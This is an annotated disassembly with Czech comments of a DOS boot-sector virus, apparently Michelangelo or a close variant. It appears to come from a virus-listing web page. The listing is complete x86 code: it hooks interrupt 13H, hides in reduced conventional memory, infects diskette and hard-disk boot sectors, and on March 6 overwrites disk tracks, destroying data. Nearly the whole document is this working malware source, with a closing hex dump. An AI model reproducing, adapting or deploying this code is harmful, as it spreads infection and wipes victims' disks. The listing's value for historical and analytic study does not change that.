Prev || Home
7C00 E9AC00         JMP    7CAF
7C03 DW 00F5        ; Pokracovani viru  offset
     DW    ?        ;                   segment
7C07 DB   02
7C08 DW    ?        ; Sektor s boot sektorem
7C0A DD    ?        ; Puvodni obsluha preruseni 13H
;=========================================================================
; Nova obsluha preruseni 13H.
;
000E 1E             PUSH   DS
000F 50             PUSH   AX
0010 0AD2           OR     DL,DL               ; Cislo disku
0012 751B           JNZ    002F
0014 33C0           XOR    AX,AX
0016 8ED8           MOV    DS,AX
0018 F6063F0401     TEST   Byte Ptr [043F],01  ; Test na disketu
001D 7510           JNZ    002F
001F 58             POP    AX
0020 1F             POP    DS
0021 9C             PUSHF
0022 2EFF1E0A00     CALL   FAR CS:[000A]
0027 9C             PUSHF
0028 E80B00         CALL   0036
002B 9D             POPF
002C CA0200         RETF   0002
002F 58             POP    AX
0030 1F             POP    DS
0031 2EFF2E0A00     JMP    FAR CS:[000A]
;-------------------------------------------------------------------------
0036 50             PUSH   AX
0037 53             PUSH   BX
0038 51             PUSH   CX
0039 52             PUSH   DX
003A 1E             PUSH   DS
003B 06             PUSH   ES
003C 56             PUSH   SI
003D 57             PUSH   DI
003E 0E             PUSH   CS
003F 1F             POP    DS
0040 0E             PUSH   CS
0041 07             POP    ES
0042 BE0400         MOV    SI,0004
0045 B80102         MOV    AX,0201
0048 BB0002         MOV    BX,0200
004B B90100         MOV    CX,0001
004E 33D2           XOR    DX,DX
0050 9C             PUSHF
0051 FF1E0A00       CALL   FAR [000A]
0055 730C           JNB    0063
0057 33C0           XOR    AX,AX
0059 9C             PUSHF
005A FF1E0A00       CALL   FAR [000A]
005E 4E             DEC    SI
005F 75E4           JNZ    0045
0061 EB43           JMP    00A6
0063 33F6           XOR    SI,SI
0065 FC             CLD
0066 AD             LODSW
0067 3B07           CMP    AX,[BX]
0069 7506           JNZ    0071
006B AD             LODSW
006C 3B4702         CMP    AX,[BX+02]
006F 7435           JZ     00A6
0071 B80103         MOV    AX,0301
0074 B601           MOV    DH,01
0076 B103           MOV    CL,03
0078 807F15FD       CMP    Byte Ptr [BX+15],FD   ; MEDIA DESCRIPTOR
007C 7402           JZ     0080                  ; FD ds 9 sect
007E B10E           MOV    CL,0E
0080 890E0800       MOV    [0008],CX
0084 9C             PUSHF
0085 FF1E0A00       CALL   FAR [000A]
0089 721B           JB     00A6
008B BEBE03         MOV    SI,03BE
008E BFBE01         MOV    DI,01BE
0091 B92100         MOV    CX,0021
0094 FC             CLD
0095 F3             REPZ
0096 A5             MOVSW
0097 B80103         MOV    AX,0301
009A 33DB           XOR    BX,BX
009C B90100         MOV    CX,0001
009F 33D2           XOR    DX,DX
00A1 9C             PUSHF
00A2 FF1E0A00       CALL   FAR [000A]
00A6 5F             POP    DI
00A7 5E             POP    SI
00A8 07             POP    ES
00A9 1F             POP    DS
00AA 5A             POP    DX
00AB 59             POP    CX
00AC 5B             POP    BX
00AD 58             POP    AX
00AE C3             RET
;=========================================================================
; START VIRU.
;
7CAF 33C0           XOR    AX,AX
7CB1 8ED8           MOV    DS,AX
7CB3 FA             CLI
7CB4 8ED0           MOV    SS,AX
7CB6 B8007C         MOV    AX,7C00
7CB9 8BE0           MOV    SP,AX
7CBB FB             STI
7CBC 1E             PUSH   DS
7CBD 50             PUSH   AX
7CBE A14C00         MOV    AX,[004C]          ; Precteni preruseni 13H.
7CC1 A30A7C         MOV    [7C0A],AX          ;
7CC4 A14E00         MOV    AX,[004E]          ;
7CC7 A30C7C         MOV    [7C0C],AX          ;
7CCA A11304         MOV    AX,[0413]          ; Velikost pameti v KByte
7CCD 48             DEC    AX                 ; zmensime o 2 KByte.
7CCE 48             DEC    AX                 ;
7CCF A31304         MOV    [0413],AX          ;
7CD2 B106           MOV    CL,06              ; Prepocteme na paragrafy
7CD4 D3E0           SHL    AX,CL
7CD6 8EC0           MOV    ES,AX
7CD8 A3057C         MOV    [7C05],AX
7CDB B80E00         MOV    AX,000E            ; Nova obsluha 13H je od
7CDE A34C00         MOV    [004C],AX          ; 0E
7CE1 8C064E00       MOV    [004E],ES
7CE5 B9BE01         MOV    CX,01BE            ; Preneseme 1BE byte nahoru
7CE8 BE007C         MOV    SI,7C00            ; do pameti.
7CEB 33FF           XOR    DI,DI
7CED FC             CLD
7CEE F3             REPZ
7CEF A4             MOVSB
7CF0 2EFF2E037C     JMP    FAR CS:[7C03]
7CF5 33C0           XOR    AX,AX       ; Reset disku/diskety
7CF7 8EC0           MOV    ES,AX
7CF9 CD13           INT    13          ;----------------------------------
7CFB 0E             PUSH   CS
7CFC 1F             POP    DS
7CFD B80102         MOV    AX,0201     ; Zde nacitame BOOT sektor.
7D00 BB007C         MOV    BX,7C00     ;
7D03 8B0E0800       MOV    CX,[0008]   ;
7D07 83F907         CMP    CX,+07      ;
7D0A 7507           JNZ    7D13
7D0C BA8000         MOV    DX,0080
7D0F CD13           INT    13
7D11 EB2B           JMP    7D3E
7D13 8B0E0800       MOV    CX,[0008]
7D17 BA0001         MOV    DX,0100
7D1A CD13           INT    13
7D1C 7220           JB     7D3E
7D1E 0E             PUSH   CS
7D1F 07             POP    ES
7D20 B80102         MOV    AX,0201      ; Nacteme BOOT disku.
7D23 BB0002         MOV    BX,0200
7D26 B90100         MOV    CX,0001
7D29 BA8000         MOV    DX,0080
7D2C CD13           INT    13
7D2E 720E           JB     7D3E
7D30 33F6           XOR    SI,SI        ; Porovname prvni 4 byte.
7D32 FC             CLD                 ;
7D33 AD             LODSW               ;
7D34 3B07           CMP    AX,[BX]      ;
7D36 754F           JNZ    7D87         ;
7D38 AD             LODSW               ;
7D39 3B4702         CMP    AX,[BX+02]   ; Pokud disk neni napaden, odskok
7D3C 7549           JNZ    7D87         ;---------------------------------
7D3E 33C9           XOR    CX,CX
7D40 B404           MOV    AH,04        ; Cti systemovy cas.
7D42 CD1A           INT    1A           ;
7D44 81FA0603       CMP    DX,0306      ; 6. brezna provadi destrukci
7D48 7401           JZ     7D4B
7D4A CB             RETF
7D4B 33D2           XOR    DX,DX
7D4D B90100         MOV    CX,0001
7D50 B80903         MOV    AX,0309
7D53 8B360800       MOV    SI,[0008]
7D57 83FE03         CMP    SI,+03
7D5A 7410           JZ     7D6C
7D5C B00E           MOV    AL,0E
7D5E 83FE0E         CMP    SI,+0E
7D61 7409           JZ     7D6C
7D63 B280           MOV    DL,80
7D65 C606070004     MOV    Byte Ptr [0007],04
7D6A B011           MOV    AL,11
7D6C BB0050         MOV    BX,5000
7D6F 8EC3           MOV    ES,BX
7D71 CD13           INT    13
7D73 7304           JNB    7D79
7D75 32E4           XOR    AH,AH
7D77 CD13           INT    13
7D79 FEC6           INC    DH
7D7B 3A360700       CMP    DH,[0007]    ; Pocet hlav.
7D7F 72CF           JB     7D50
7D81 32F6           XOR    DH,DH
7D83 FEC5           INC    CH
7D85 EBC9           JMP    7D50
;-------------------------------------------------------------------------
7D87 B90700         MOV    CX,0007
7D8A 890E0800       MOV    [0008],CX
7D8E B80103         MOV    AX,0301
7D91 BA8000         MOV    DX,0080
7D94 CD13           INT    13
7D96 72A6           JB     7D3E
7D98 BEBE03         MOV    SI,03BE
7D9B BFBE01         MOV    DI,01BE
7D9E B92100         MOV    CX,0021
7DA1 F3             REPZ
7DA2 A5             MOVSW
7DA3 B80103         MOV    AX,0301
7DA6 33DB           XOR    BX,BX
7DA8 FEC1           INC    CL
7DAA CD13           INT    13
7DAC EB90           JMP    7D3E
7DB0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 64 20  ..............d
7DC0  70 72 65 73 73 20 61 6E-79 20 6B 65 79 20 77 68  press any key wh
7DD0  65 6E 20 72 65 61 64 79-0D 0A 00 49 4F 20 20 20  en ready...IO
7DE0  20 20 20 53 59 53 4D 53-44 4F 53 20 20 20 53 59     SYSMSDOS   SY
7DF0  53 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA  S.............U*
-----------------------------------------------------------------------------